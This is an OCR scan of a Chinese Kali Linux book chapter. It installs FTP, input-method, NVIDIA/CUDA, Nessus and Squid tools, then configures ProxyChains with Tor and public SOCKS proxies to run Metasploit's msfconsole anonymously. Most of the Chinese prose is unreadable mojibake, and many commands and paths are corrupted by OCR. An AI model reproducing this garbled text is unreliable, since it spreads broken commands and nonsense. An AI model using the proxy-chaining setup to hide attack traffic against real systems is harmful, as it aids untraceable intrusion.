root@kali:~# apt-get update

EHERAAIR G, S HIR T,

(3) %% FTP k45 . AT a2 W R HR:

root@kali:~# apt-get install pure-ftpd

A ) FTP RS- 4%, AT BLRhZIRES T - AT Ar S W R R

root@kali:~# service pure-fipd start

4. REPIMNZE

Kali Linux #{F R e BOARBAT 222 h SC AL, MR A2 e i b S A%
PAT AT U R s

root@kali:~# apt-get install fcitx-table-wbpy ttf-wqy-microhei ttf-wqy- zenhei

PATLL Edir 2o, ARG ST AR BN 1. BN G, S R Az AL
A L. R3S, AT AR R R

root@kali:~# fcitx
root@kali:~# [INFO] /build/buildd-fcitx_4.2.4.1-7-i386-14w6Z_/fcitx-4.2.4.1 /src/lib/fcitx/addon.c:100-
DNk P hn 2B 4B & 34 foitx-table conf
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[INFO] /build/buildd-fcitx_4.2.4.1-7-i386-4w6Z_ffcitx4.2.4.1/src/libffcitx /addon.c:100-40 £k B 4B &
3L feitx-xim.conf

[INFO] /build/buildd-fcitx_4.2.4.1-7-i386-4w6Z_ffcitx-4.2.4.1/src/libffcitx /addon.c:100-40 £ M intE 4B &
44 feitx-lua.conf

[INFO] /ouild/buildd-fcitx_4.2.4.1-7-i386-4wbZ._ffcitx-4.2.4.1/srcllibffcitx /addon.c:100-70 £ i hn4A B &
3L feitx-pinyin.conf

[INFO] /build/buildd-fcitx_4.2.4.1-7-i386-4w6Z_ffcitx-4.2.4.1/src/libffcitx /addon.c:100-40 £k iz 4B &
{4 feitx-autoeng.conf

[INFO] /build/buildd-fcitx_4.2.4.1-7-i386-4w6Z_ffcitx-4.2.4.1/src/libffcitx /addon.c:100-i0 ;M BB E
T4 feitx-xkb.conf

[INFQO] /build/buildd-fcitx_4.2 4.1-7-i386-4wb6Z_/fcitx-4.2 4. 1/srcllibffcitx /addon.c:100-n M inA B E
{4 feitx-ipc.conf

[INFO] /build/buildd-fcitx_4.2.4.1-7-i386-4w6Z_/fcitx-4.2.4.1/src/libffcitx /addon.c:100-70 2 M B 4B E
44 feitx-kimpanel-ui.conf

[INFQO] /build/buildd-fcitx_4.2 4.1-7-i386-4w6Z_/fcitx-4.2 4. 1/srcllibffcitx /addon.c:100-fn M inA B E
T4 feitx-vk.conf

[INFO] /build/buildd-fcitx_4.2.4.1-7-i386-4w6Z_/fcitx-4.2 4 1/srcllibffcitx /addon.c:100-hn &M B E-ELE
3C44: feitx-quickphrase.conf

[INFO] /ouild/buildd-fcitx_4.2.4.1-7-i386-4wbZ._ffcitx-4.2.4.1/srcllibffcitx /addon.c:100-7n £ i hn4A 4B &
314 feitx-remote-module.conf

[INFO] /build/buildd-fcitx_4.2.4.1-7-i386-4w6Z_ffcitx4.2.4.1/src/libffcitx /addon.c:100-40 &M B 4B &
344 feitx-punc.conf

[INFO] /build/buildd-fcitx_4.2.4.1-7-i386-4w6Z_/fcitx-4.2 4 1/srcllibffcitx /addon.c:100-A0 &M intE 4B E
314 feitx-dbus.conf

[INFO] /build/buildd-fcitx_4.2.4.1-7-i386-4w6Z_ffcitx-4.2.4.1/src/libffcitx /addon.c:100-40 £k iz 4B &
31§ feitx-keyboard.conf

[INFO] /build/buildd-fcitx_4.2.4.1-7-i386-4w6Z_/fcitx-4.2.4.1/src/libfcitx /addon.c:100-7n ;M intB HEL &
344 feitx-chttrans.conf

[INFQO] /build/buildd-fcitx_4.2 4.1-7-i386-4wb6Z_/fcitx-4.2 4. 1/srcllibffcitx /addon.c:100-n M inA B E
LA feitx-fullwidth-char.conf

[INFO] /build/buildd-fcitx_4.2.4.1-7-i386-14w6Z_/fcitx-4.2 4 1/srcllibffcitx /addon.c:100-1n &M in¢E HEL &
344 feitx-imselector.conf

[INFO] /build/buildd-fcitx_4.2.4.1-7-i386-4w6Z_ffcitx-4.2.4.1/srcllibffcitx /addon.c:100-i0 £ M BB E
ST feitx-x11.conf

[INFQO] /build/buildd-fcitx_4.2 4.1-7-i386-4w6Z_/fcitx-4.2 4. 1/srcllibffcitx /addon.c:100-fn M inA B E
44 feitx-classic-ui.conf

[INFO] /build/buildd-fcitx_4.2.4.1-7-i386-4w6Z_/fcitx-4.2 4.1/srcllibffcitx /addon.c:100-A0 &M it EELE
44 feitx-xkbdbus.conf

[INFO] /build/buildd-fcitx_4.2.4.1-7-i386-4wbZ_/fcitx4.2.4.1/src/im/table /table.c:155- fin £ 3 3& 3 44 :
wbpy.conf

[WARN] /build/buildd-fcitx_4.2.4.1-7-i386-4wbZ_/fcitx-4.2.4 1/srcffrontend /xim/xim.c:168-iFi& B E L
= XMODIFIERS

WS 2R, ZMNIETE RS g — SR . G AT IR R T R E R
1745 XMODIFIERS, HUefE it ) XMODIFIERS FJ 25 5 158 B A 11 1 S 8508 ] 7
A6 ] . 1% % XMODIFIERS M55 77k B (2L Bash o)) -

export XMODIFIERS="@im=YOUR_XIM_NAME"

53 ) YOUR XIM. NAME ) XIM 345 RGN G5 . N AR 1 224
BiZAs A Fe AR XIM RS2 . Ak, B RS [E 2T T3 T4 XIM #&2F, —
I FH R A N B 2 e LR T — S XTIM 3 A i

feitx F48 7 NHT XIM 443 feitx, {H 13 feitx o 215 XMODIFIERS .44 V% B iif, feitx
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Linux % {25 i /i

2 H LRGN EAVE M A B4 T . WA R L, AETIBL R IR
— BT LA~/ bashre SCEEHH L F A%

export XMODIFIERS="@im=fcitx"

export XIM=fcitx

export XIM_PROGRAM=fcitx

TRMIFRAELL L U35, TR 2 i feitx S\ 1 5iE
TR £ AT U b A%
root@kali:~# fcitx

kA

7o WAREAT IR 8],

PATLL Edr)a, REafebid A Bms s, WZmAECLms.
%%A%ﬁwi%&m‘ﬁa\ﬂﬁ%ﬂ%ﬁalﬂmkﬁ,MAWﬁA¢%Mﬁm

Ctrl+Shift 21775k V1 .

DR AR AR MO AR Z D e, Ao s AT A B, A5 B 1.60 TR

Frim

FEIZFHEESE “RCE” 74, RrlsiiE 1.61 Frosif) Fril. fEiz sy “ & RAcE”

br2s, F R P 1.62 Jran () Ftii .

ol RS
[Nk | 2RRE | A |
@ - IUE
FEATREN .
Yk il s W
TEhEE
BN
B fk
RE%ﬁWA%
+ =1 v]IX]
B 1.60 feitx 5 B 1.61 Feitx filE
FeitxALE uﬂ[a‘
[ Ak 2REE | Hiae |
| thipat \BAF | it | SR
YHBEOEAEREH NS | CTRL_SPACE 2
SRSMORGER A AR | ZECtrl o
BIEH N A @
ISR n -
BRI ERYR w
WA B | Ctri+Shift =
PUEE AL T e 0
| BB®)
E162 2RiE
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Mz Fri ] LU S 25 R0 L ERE A B, R B I BT RO PR A T i B . W E e
By N L

5. Z1EARSE
{5 1 — AN IR A5 B RS 2 R TR

service <servicename> stop

<servicename>3 7 ] ALLEAS 1L PR R 55
11 Apache 45, ATl T iR

root@kali:~# service apache2 stop
[ ok ] Stopping web server: apache? ... waiting .

M R4E K, eI LA £1) Apache JIj 55158 1R BT -
6. WEMRSFHEH
WL 45 T HUR S IR EAS =N R s

update-rc.d -f <servicename> defaults

<servicename> 7 J| A EE T HLIE BT IR 5%

i E SSH R4 T8 B a3 87

root@kali:~# update-rc.d -f ssh defaults

update-rc.d: using dependency based boot sequencing

update-rc.d: warning: default stop runlevel arguments (0 1 6) do not match ssh Default-Stop
values (none)

insserv: warning: current start runlevel(s) (empty) of script “ssh' overrides LSB defaults (2 3 4 5).
insserv: warning: current stop runlevel(s) (2 3 4 5) of script “ssh' overrides LSB defaults (empty).

METH SRR UE S, SSH IRESEINGS)T 2. 3. 4 R 5 BT 5. WLLG RS
G, SSH RS H shiatr

1.6.2 ®REBE LML

G 2 D 4% B B 48 A1/ PP A e B B G i e 1) A R O R B A 4, AR R P
TR FEREAT AL AN AR I E AR o AN A48 Wied WSS FERS MBS, Al
e A e R R M. B E T Mg ae il A P R Hb A Kali Linux B4k, 2%
AR, AT B — AN LRI, IR T 40 U R 1 i

W E A M L 0 BAR R D BRI N PR,

(1) Ja3h Wicd M. MMk, e, —AREEAm. fERm
Mﬁﬁ%“@ﬂﬁ?”HﬂﬁM”NMdMWMkawawv,HwT%WlﬁﬁTm
Tl o WIHETE I E 5 _E 4k A £ WicdNetwork Manager, i i3 8] 2 48 B0 AT 4% Wied B4
Bl P a] ELEESS I/ R tb b, 48] Wied 3R 2 ERITA] .

BE (A I PAT IR A4

wicd-gtk --no-tray
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1% Linug BB RN

PATLL B2, R i 1.63 Pros i Fim .

(2) MAZFHITAT LUE B AT e R BRI o 2%, I HARTE B 98 B o2 M 25 11
I ik AEH30E &I LAT 7 R . AL BT WEP I [ FC 2 M 45 Testl,
By Testl (1) “JmPE” 424, A5 S inlE 1.64 Pros iy 5.

Testl - Mt
O B P
IP (
gL |
P [
O {EB##Z DNS O {#FA4 /5 DNS %2
Wica RS EBE [ [a[x] DNSS% |
&b
Rk (N) O XHWi-Fi gﬁﬁﬁﬁi [< 3= AR = & o, |
DNS Fi%2% 1 l
AT P
_ DNS B3 2 |
Testl 100% WEP MiE 1 DNS JR%-2 3 [
O Exshie LIS - |
LU O EhEssmes [ DHCP Hostname Kali
O B essid MR BB RZRE
ERmE
TENTEE M W LRI WEP (Passphrase) C]
O EEhiE s mER
Ll O EshiEsER e Passphrase labcde| ]
0
yztxty 100% WPAZ MM 11 k
O EshiEERRER
LELL O EhEsm e 1ER.0)
LG .
CIEHTIHLMES (1P: 192.168.6.101) i A || #WE©)

¥ 1.63  Wicd 24 2 F 2% K164 EHEE

(3) FEZFHIES: “OHnE" i, RGEFINE T ATHmANEN. WRAEE
AN TN, AN R SCARE T ) S, WA S IE, Bl CHAE” HGHL R
()31 1.63 Ftifiio RN S iy “ER” 4, BURT LUZERL R Test] M4,
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$#2E [fE Kali Linux

%48 T Kali Linux [#ES M @ds . RS040 Kali (cE, DMETH ) Ree s
FHE . AL AU E AL SO BUE#7he4 T LA E ProxyChains 5.
A A R

O e ARk ST

O W H B AL B SA ) %4 T A

O %% ProxyChains;

Q A,

2.1 CEENAZ KM

PAZSK SO Linux ARZIOPRACHS . AT, ) o B e SR SO, A BUs
AP N AZ S SCA o 2 ASTTERE A 20340 P PN 2K SCPT PR AN D 3R

2 AR SR SCPE R B AR A D 3R b R

(1) FFRAENER. FATHS U FHR.

root@Kali:~# apt-get update
s S5 R PR

Binary 20130905-08:50] kali/non-free Translation-en

JXHL: 1 http://mirrors.neusoft.edu.cn kali Release.gpg [836 B]

JRHL: 2 http://mirrors.neusoft.edu.cn kali/updates Release.gpg [836 B]
fir ¥ http://mirrors.neusoft.edu.cn kali Release

3XHL: 3 http://mirrors.neusoft.edu.cn kali/updates Release [11.0 kB]
fir# http://mirrors_neusoft.edu.cn kali/main i386 Packages

P http://mirrors_neusoft.edu.cn kali/non-free i386 Packages

¥ http://mirrors.neusoft.edu.cn kali/contrib i386 Packages

3%BY: 4 http://security.kali.org kali/updates Release.gpg [836 B]

JXHY: 5 http://mirrors.neusoft.edu.cn kali/updates/main i386 Packages [205 kB]
JRHL: 6 http://http kali.org kali Release gpg [836 B]

fir ¥ http://mirrors.neusoft.edu.cn kali/updates/contrib i386 Packages
fir ¥ hitp://http.kali.org kali Release

fir ¥ http://mirrors.neusoft.edu.cn kali/updates/non-free i386 Packages
3XHL: 7 http://security kali.org kali/updates Release [11.0 kB]

fe R hitp:/http kali.org kali/main Sources

3%BY: 8 http://security.kali.org kali/updates/main i386 Packages [205 kB]



952 %  Jd# Kali Linux

ZB% http://mirrors_.neusoft.edu.cn kali/contrib Translation-zh_CN
ZBE http://mirrors_neusoft.edu.cn kali/contrib Translation-zh

it AR SO AE RO AR 5 B T e . s R b A B B,
RAE LR, R R R TR A A, X A T A i
E)SY

(2) 1] apt-get fr YR ISR ICHE . ST Ar 4 R TR

root@Kali:~# apt-get install linux-headers- "'uname -r’
EFIERRGaTIR.. TR
1E7E 73 WA 1 B R G  F it
EFERRERER .. TH
Package 'linux-headers' is not installed, so not removed
FE, RBEMFRIANX 3.12-kali1-686-pae £ T nvidia-kernel-3.12-kali1- 686-pae
FE, RIBEMRIZRX 3.12-kali1-686-pae iE£H T linux-image-3.12-kali1-686-pae
FE, RIBEMRIER 3.12-kali1-686-pae £ T linux-image-3.12-kali1-686- pae-dbg
FE, RBEMFRIANX 3.12-kali1-686-pae iEHR T linux-modules-3.12-kali1- 686-pae
FE, RFEMFRIAN 3.12-kali1-686-pae 1+ T linux-latest-modules-3.12- kali1-686-pae
FE, RBEMRIEN 3.12-kali1-686-pae E£H T linux-headers-3.12-kali1- 686-pae
FE, #EB linux-image-3.12-kali1-686-pae mIE linux-modules-3.12-kali1- 686-pae
=, #EB linux-image-686-pae M4k linux-latest-modules-3.12-kali1-686-pae
linux-image-3.12-kali1-686-pae B ERHAIAAET .
linux-image-3.12-kali1-686-pae #i&x&H A F o,
linux-image-686-pae B2 2 &HMBIAAET .
TR HEREMNRENFEAERTET:
libmozjs22d libnfc3 libruby libwireshark2 libwiretap2 libwsutil2 python-apsw
ruby-crack ruby-diff-lcs ruby-rspec ruby-rspec-core ruby-rspec-
expectations
ruby-rspec-mocks ruby-simplecov ruby-simplecov-html| xulrunner-22.0
Use '"apt-get autoremove' to remove them.
BRI TIIEIMIRGE:
glx-alternative-mesa glx-alternative-nvidia glx-diversions
linux-headers-3.12-kali1-common linux-kbuild-3.12 nvidia-alternative
nvidia-installer-cleanup nvidia-kernel-common
BilzRamHe.
nvidia-driver
T3 [#] RHEERETE:
glx-alternative-mesa glx-alternative-nvidia glx-diversions
linux-headers-3.12-kali1-686-pae linux-headers-3.12-kali1-common
linux-image-3.12-kali1-686-pae-dbg linux-kbuild-3.12 nvidia-alternative
nvidia-installer-cleanup nvidia-kernel-3.12-kali1-686-pae
nvidia-kernel-common
HET 0 MEHE, FRET 11 MRHE, BHE 0 MEE, § 5 MEHEREAR.
FZET#H 361 MB e,
BEfRIESEFEE 1,812 MB BEiSMEETE .
IERBEMEHITIE? [Y/n]y

fanth BO45 B W T linux-headers OGP ELEY—ME B $2794F 25 2 ML B 6L
O RNEREE. WA vy, gheledl. w3w)s, BT,

(3) K| generated FIIFTAT WA FhAT a2 U1 FFT7R-

root@Kali:~# cd /usr/src/linux-headers-3.12-kali1-686-pae/
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root@Kali/usr/src/linux-headers-3.12-kali1-686-pae# cp -If include/generated/* include/linux/

(4) i PIAZ Sk SRS .
22 ¥ A E NVIDIA 2 FIR3)

< SRR 2 SR B e R, e R AR BTN B R AR e RS N )
ARG — DU, Hrh &AM &ER. A TIER, HENE TS
Ve UEATIAA o IRANFE AT i A0 R RGeS T S0, wT AL AT IR ) R
TEREALP RS Tk T, BEREAR, WM AN AT 447E Kali
thzz 2 NVIDIA 59K 1) 2.

4 %¢ NVIDIA { R IRah ) HARERAE PR W T Fras

(1) #TTJE ) NVIDIA %) nouveau NI B4 B JriEu R K.

root@kali:~# vi /etc/modprobe.d/blacklist.conf
blacklist nouveau

LI FAE B2~ TE blacklist.conf SC/FHH 3 I T blacklist nouveau —47 A %%,
(2) BHRERMARSGE . PATH A WR R

root@kali:~# uname -a
Linux kali 3.12-kali1-kali-amd64 #1 SMP Debian 3.12.6-2kali1 (2014-01-06) x86_64 GNU/Linux

M S T LAE B S5 RSk e Kali, HERAS. 3.12, RS54
X86_64 fii .
(3) “Z%E Linux Sk 3. $ATAHS W IR:

root@kali:~# aptitude -r install linux-headers-$(uname -r)

T3 “#” REABHERE.
linux-headers-3.12-kali1-686-pae linux-headers-3.12-kali1-common{a}
linux-kbuild-3.12{a}

TGS “HkR”
firmware-mod-kit{u} libadns1{u} libcrypto++9{u} liblzma-dev{u}
libsmi2-common{u} libwebkit-dev{u} msgpack-python{u} p7zip{u}
python-adns{u} python-bs4{u} python-easygui{u} python-ipy{u}
python-levenshtein{u} python-mechanize{u} python-metaconfig{u}
python-paramiko{u} python-pycryptopp{u} python-pysnmp4{u}
python-pysnmp4-apps{u} python-pysnmp4-mibs{u} sqlmap{u} unrar-free{u}

0 MR EWAR, FirdE 3 1 22 MEEME. R 206 MEFHE.

FERE 4,848 kB HITFH. MREEEEM 554 MB.

EERIENT? [Y/n] y

PL E 5 SRR T 2 i 2 e A B R N B () AR B0 A0 TR R R 5
BERH A v, gRekd .

(4) 2% NVIDIA Wix. AT dr- Wl Frs:

root@kali:~# apt-get install nvidia-kernel-3.12-kali1-adm64
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-

HATLL B AT, B 23t nvidiakernel AL 2eE R B . eI AN T BT B B AT
55, ¥ Hah ek,
(5) ‘2% NVIDIA ZE %)) nvidia-kernel-dkms £, #7840 F 1.

root@kali:~# aptitude install nvidia-kernel-dkms

T “#” RHEEBHEE.
dkms{a} glx-alternative-mesaf{a} glx-alternative-nvidia{a}
glx-diversions{a} libgl1-nvidia-glx{a} libvdpau1{a}
linux-headers-3.12-kali1-686-pae{a} linux-headers-3.12-kali1-common{a}
linux-headers-686-pae{a} linux-kbuild-3.12{a} nvidia-alternative{a}
nvidia-driver{a} nvidia-installer-cleanup{a} nvidia-kernel-common{a}
nvidia-kernel-dkms nvidia-vdpau-driver{a} xserver-xorg-video-nvidia{a}

0 MREGEWAL, FHRE 17 4, 0 MEHEMEE. R 207 SHEFAHR.

HEIKN 204 MB pIFHE. BERHE[ER 108 MB.

IEZEGREN? [Yin]y

BLE& AR BVBOR TR e M A B A it R e IS . BREide. i
et . IR 2.1 oS
——— 1 Configuring xserver-xorg-video-nvidia f——

Manual configuration required to enable NVIDIA driver

The NVIDIA driver is not yet configured; it needs to be enabled in
xorg.conf before it can be used.

Please see the package documentation for instructions.

21 RHlE xserver-xorg

R T B AL xserver-xorg-video-nvidia. 7E1Z 54 i OK 44, Ji5 0 T shit
L .
(6) %% NVIDIA i -FIKsh Y H 7L 5 nvidia-xconfig . #UAT Ay 2 W1 F Fim:

root@kali:~# aptitude install nvidia-xconfig

(7) "Rk Xorg IR55THC & AT AT AW F Fros:
root@kali:~# nvidia-xconfig
PATEL Bdn 2 )5, b TR E .

WARNING: Unable to locate/open X configuration file.
New X configuration file written to ‘Yetc/X11/xorg.conf’

A B, AOREHTERC T xorg.conf 3. RS, EHTA RS
(8) Fifr NVIDIA B RIRa) & E Il &, ooeffr GLX #itl, T4 FRR:

root@kali:~# glxinfo | grep -i "direct rendering”
direct rendering: Yes

i r NVIDIA IRz . $ 4T a2 W R i os:

+ 37 .



S5 15 Linux %2920 Ml B

root@kali:~# Ismod | grep nvidia

nvidia 9442880 29

i2c_core 24129 2 i2c_i801,nvidia

root@kali:~# Ismod | grep nouveau

ARG F PRI 2, B JFU0 NVIDIA %) nouveau B7BEIMA L4 8, 41
FRR:

root@kali:~# cat /etc/modprobe.d/nvidia.conf

alias nvidia nvidia-current

remove nvidia-current rmmod nvidia

root@kali:-~# cat /etc/modprobe.d/nvidia-blacklists-nouveau.conf

# You need to run "update-initramfs -u" after editing this file.

# see #580894

blacklist nouveau

root@kali:~# cat /etc/modprobe.d/nvidia-kernel-common.conf
alias char-major-195* nvidia

options nvidia NVreg_DeviceFileUID=0 NVreg_DeviceFileGID=44 NVreg_Device FileMode=0660

# To enable FastWrites and Sidebus addressing, uncomment these lines

# options nvidia NVreg_EnableAGPSBA=1

# options nvidia NVreg_EnableAGPFW=1

HRELL S HE L, &R nouveau O R4 5

A1 T bR R A KR SO, 7R CUDA ( Compute Unified Device
Architecture) . CUDA J&—F i NVIDIA HfEH §ETFAT HFLAH, 228/ 0E GPU figlig
iR AR T B i)

4% NVIDIA CUDA |” H#£§Il NVIDIA openCL. #U4T#rAW1 F Al 7m:

root@kali:~# aptitude install nvidia-cuda-toolkit nvidia-opencl-icd

AT L B A S, i B R B AR RS, R s e e . DU AT
PLAEH] CUDA 5 fi% i s i) R SCA

23 A ZHAREIII T E

AR 2 SET Kali (Y FEFIAC S B0 L o TR T A I 1 ) 5 o e A
FIER « Kali FRA LA W SR A A A 2 18], 1P AR R A 8L ¥ ALt e 91)/E DVD ROM
BN AT R A T . AT T R SR 2 B i, BRI Nessus B — NS . f )
%5 Squid.,

37 FH SE 5 RGBT A0 %2 4 T HL ) AR SRA T AP R T B

(1) HEFAMBAE AR E . AT T R:

root@Kali:~# apt-get update

AT b2 fh, WEER BN $ATREE, S AR,

(2) FHFCAFAERI . AT FRTR:

root@Kali:~# apt-get upgrade
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(3) FHEBBOFRA . AT a0 FFrs:
root@Kali:~# apt-get dist-upgrade

(4) M\ http://www nessus.org/products/nessus/nessus-plugins/obtain-an-activation-code F{
PR — N . 7R3 s TP A iz bt S, R o lE 2.2 Frosif At .
[T )

.
e@‘@ hitp:/forwtena.. O v O ” & Obtain an Activation Codv‘ | I 5 o

i@? i Google B2 @] EEEopEmET [@ E=—TF  #otiliE ) aboutblank

Overview  What'sNew  Plugins  Evaluate  Download m

Obtain an Activation Code

Using Nessus at Using Nessus at ()
Work? ﬁ Home? ‘

A Nessus® subscription is Nessus Home is free for
required for all uses of Nessus outside noncommercial, home use only.
of the home.

=1

K22 FRECEGE S

TF % FL1AE £ 0 9 il Using Nessus at Home? £ i, il Select %411, ¥ W=t 2.3
Bt ) S

e@‘ehnp:ﬁmuna--- P~ 0[

@ Nessus Home | Tenable .. % { ] & i\\? @

iy Google B &) St T [ SR—T . 490E &) aboutblank ]
BN ‘H : &
J,-_D eS5US Fome Register for an
Activation Code
enable Nessus® Home allows you to scan your personal home
etwork (up to 16 IP addresses per scanner) with the same high- First Name *
peed, in-depth assessments and agentless scanning I:
onvenience that Nessus subscribers enjoy.
Last Name *
lease note that Nessus Home does not provide access to
upport, allow you to perform compliance checks or content s
udits, or allow you to use the Nessus virtual appliance. If you
lequire support and these additional features, please purchase a IE[
lessus subscription Country*
[China [
essus Home is available for personal use in a home
nvironment only. It is not for use by any commercial Check to receive updates ;
rganization. Tor s Emtle |
EI agree to the terms of
service
v

K23 JEHHMEE
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AT

RIS — SR HE ., S5, i Register #&8, He7EIT M BIAT i 2]

R HEAE . BEABSHE)E, IR BNZECE AT R

(5) A Nessus M &8 A1 P . BAT a2 W T Frs:

root@Kali:~# /opt/nessus/shin/nessus-adduser

Login : admin #i N\ F P& admin

Login password : #ifi N\ Fl P %55

Login password (again) : #i NI\ R

Do you want this user to be a Nessus 'admin’ user ? (can upload plugins, etc...) (y/n) [n]: y
User rules #H PN

nessusd has a rules system which allows you to restrict the hosts

that admin has the right to test. For instance, you may want

him to be able to scan his own host only.

Please see the nessus-adduser manual for the rules syntax

Enter the rules for this user, and enter a BLANK LINE once you are done :

(the user can have an empty rules set) HE TSR BIRZEA
Login - admin

Password - ook ok ok ok ok Ok ok

This user will have admln privileges within the Nessus server

Rules

Is that ok 7 (y/n) [y] y

User added #H PR

Mg A S o] UG 2 admin F 38 I 1o
(6) i Nessus, FHATAT-UI B FT7R:
root@Kali:~# /opt/nessus/bin/nessus-fetch --register XXX XX XXX - XOOOC-XXXX

LL_E iy Hh ) XXXX-XXXX-XXXX-XXXK-XXXX S 2R E s B i .

LR )a, s B BT

Your Activation Code has been registered properly - thank you.

Now fetching the newest plugin set from plugins.nessus.org #EFF— LR a]
Could not verify the signature of all-2.0.tar.gz #ABEIESE all-2.0 tar.gz BI% &

(7) JE3)) Nessus [R5 . $HATam4 0 R ProR:
root@Kali:~# /etc/init.d/nessusd start

R (6) LRRPIETE Nessus B, HiH ALl ARG E, RREAETE Nessus, X

AN AE RHEL _EASHBELY. Ak, XBEAH FECRFERIXA S AR P8R
s o

(1) MR nessus-fetchre. AT a2 U1 F Frzm:

root@Kali:~# rm /opt/nessus/etc/nessus/nessus-fetch.rc

(2) 14 HJ nessus-fetch --challenge $KHUFkARIS . AT Ar S W F 7.

root@Kali:~# /opt/nessus/bin/nessus-fetch --challenge

A

Challenge code: xx0000000000000OXXXX

You can copy the challenge code above and paste it alongside your
Activation Code at:
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https://plugins.nessus.org/offline.php

Horpr,  xxxxeooooooooaooeoaxexx e i 3k kY .

(3) HUEPE ¢ http://www.nessus.org/products/nessus/nessus-plugins/obtain-an-activation-
code [ TR ER T % -

(4) &k https://plugins nessus.org/offline php W%, 7F 25 5 AL BT Hk &GS RS
ficy, G 2.4 Fros ) S .

Tenable Network Security - lceweasel lei!:!
File Edit View History Bookmarks Tools Help
© Tenable Network Security “El
4@ [ @ https://plugins.nessus.org/offline php v € [V Google Q] @

[& Most Visited v “Oﬁensive Security N, Kali Linux % Kali Docs nExpluit—DB ‘Aircrack—ng

Store Careers Contact

Type 'nessus-fetch --challenge’ on your nessusd server and type in the result :

BT 7 A S R ST ST l

Enter your activation code :

P24 FREUIEME

JEIN S idi Submit fic#f], R sl 2.5 B St
Tenable Network Security - Iceweasel Hﬂd

File Edit View History Bookmarks Tools Help

© Tenable Network Security I@l
« [ﬂ https://plugins.nessus.org/offline.php v e] [V Google QJ G

& Most Visitedv  [JllOffensive Security "% Kali Linux " Kali Docs EBExploit-DB W Aircrack-ng

Thank you. You can now obtain the newest Nessus plugins at :
http://plugins.nessus.org/get.php?f=all-2.0.tar.gz&u=c725ab5a948e48bB8a564c5b 793364 08f&
p=eb02c79dB67f9859d891f27b74dc5d 10

You also need to copy the following file to :

* /opt/nessus/etc/nessus/nessus-fetch.rc (Unix)

+ C:\Documents and Settings\All Users\Application Data\Tenable'\Nessus\confinessus-
fetch.rc (Windows XP/2K3)

* C:\ProgramData\Tenable'\Nessus\confinessus-fetch.rc (Windows Vista/7/8/2008/2012)

* /Library/Nessus/run/etc/nessus/nessus-fetch.rc (Mac OS X)

+ /usr/local/nessus/etc/nessus/nessus-fetch.rc (FreeBSD)

nessus-fetch.rc

(<]

K25 TFHIEMST
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MIZ T 7% nessus-fetch.re Al all-2.0.tar.gz, K H R a3 A,
(5) ¥ F#E ) nessus-fetch.re 15 il #/opt/nessus/ete/nessus/ H 3% o AT T2 Ul
THR:

root@Kali:~# cp /root/nessus-fetch.rc /opt/nessus/etc/nessus

PATLL B ha, AT S R
(6) 1 ] nessus-update-plugins iy 2-# Nessus {4} all-2.0.tar.gz In#k. $ArarSw ~
Fos:

root@Kali:~# /opt/nessus/sbhin/nessus-update-plugins /root/all/all-2.0.tar.gz
Expanding /root/all/all-2.0.tar.gz. ..
Done. The Nessus server will start processing these plugins within a minute

(7) HH A 8 Nessus JIR55. AT @@~ FR:

root@Kali:~# /etc/init.d/nessusd restart
$Shutting down Nessus : .
$Starting Nessus : .

PLFID R SE ), Nessus SEEEGE 1o WA ARG Nessus, ‘e 2 AR HIAY.
7. Kali H1%2%¢ Squid IR %5 . AT @410 b s
root@Kali:~# apt-get install squid3

B Squid JIRFFIFHIAS A B E B0 AT Ar2 Wl B RTR:

root@Kali:~# update-rc.d -f squid3 remove

2.4 1% & ProxyChains

ProxyChains /& Linux Fl HA Unices FAACHE I H . & 0] RAEAT Ao 2 i i AT _F
i TCP #1 DNS J8 o fCHFEE, Y +F HTTP. SOCKS4 Fil SOCKSS 27 ({8 H IR 45 2%,
JH A E £ AMMCEE . ProxyChains 8 iE—/N 7 s SCHAQER 51| 3 o & F2 4 2 1) N H F2
I, LR 5 FUR I T S . A 244 ' ProxyChains ¥ /7% .

1% # ProxyChains [ HAAERAE DRI R Ao .

(1) 41 JF ProxyChains Bl CF. AT a2 W1 F Bros:

root@Kali:~# vi /etc/proxychains.conf
PATEL Ban 2o, TR N AU R TR

# proxychains.conf VER 3.1

#

# HTTP, SOCKS4, SOCKS5 tunneling proxifier with DNS.
#

# The option below identifies how the ProxyList is treated.

# only one option should be uncommented at time,

# otherwise the last appearing option will be accepted

#

#dynamic_chain

#

# Dynamic - Each connection will be done via chained proxies
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# all proxies chained in the order as they appear in the list
# at least one proxy must be online to play in chain

# (dead proxies are skipped)

# otherwise EINTR is returned to the app

#

strict_chain

#

# Strict - Each connection will be done via chained proxies
# all proxies chained in the order as they appear in the list
# all proxies must be online to play in chain

# otherwise EINTR is returned to the app

#

#random_chain

#

# Random - Each connection will be done via random proxy
# (or proxy chain, see chain_len) from the list.

# this option is good to test your IDS :)

46t (1945 ELL R proxychains.conf CERINZ. T RIEME, X H RSIH T #4
EE

(2) ¥# proxychains.conf 3CfFt} ) dynamic_chain T (¥ B REHUH . SEA5T400 AL E I,
s LRI 2, R pos

dynamic_chain

(3) dsin—Le{CHE 45 28 20 41K (proxychains.conf U A ) , M FHTR:

# ProxyList format

# type host port [user pass]

# (values separated by 'tab’ or 'blank’)

#

#

# Examples:

#

# socksS 192.168.67.78 1080 lamer  secret
# http 192.168.89.3 8080 justu  hidden
# socks4d 192.168.1.49 1080

# http 192.168.39.93 8080

#

#

# proxy types: http, socks4, socks5

# ( auth types supported: "basic™-http "user/pass"-socks )
#

[ProxyList]

# add proxy here ...

# meanwile

# defaults set to "tor"
socks4 127.0.0.1 9050
socks5 98.206.2.3 1893
socks5 76.22.86.170 1658

— A -
LA S AR 3 40 D s A QR 55 45
(4) JE P B ERACTE AT AR ML AT A1 B AT

root@kali:~# proxyresolv www.target.com

RSO T, BT proxyresolv iy 4, N REF Bl iZay 2 ¥ FR 2455 L. [A 8 proxyresolv
{RAF 7L /usr/lib/proxychains3/[H sk H, 1fijA ﬁu%ﬁ’ 1T . proxyresolv 234 proxychains Vi ], JiT

2l
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LURFIZ AN SO IRLE A A s, Wl/ust/bine 0T dir @ 0 R B

root@kali:~# cp /usr/lib/proxychains3/proxyresolv /usr/bin/

HATELL B4 )G, proxyresolv iy 4 gt vl AHUAT T .
(5) P AR LA ] 1 ] FJ3732 17 ProxyChains, %41, )7} msfconsole. $i77 iy
L U0F R

root@kali:~# proxychains msfconsole
ProxyChains-3.1 (http://proxychains.sf.net)
|DNS-request| 0.0.0.0
|S-chain|-<>-127.0.0.1:9050-<--timeout
IDNS-response|: 0.0.0.0 is not exist

/ \
((_"'u,"'_))
oo
\ I\
oo\ MSF |\
\ |

I WW
Il f

Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro
-- type 'go_pro' to launch it now.

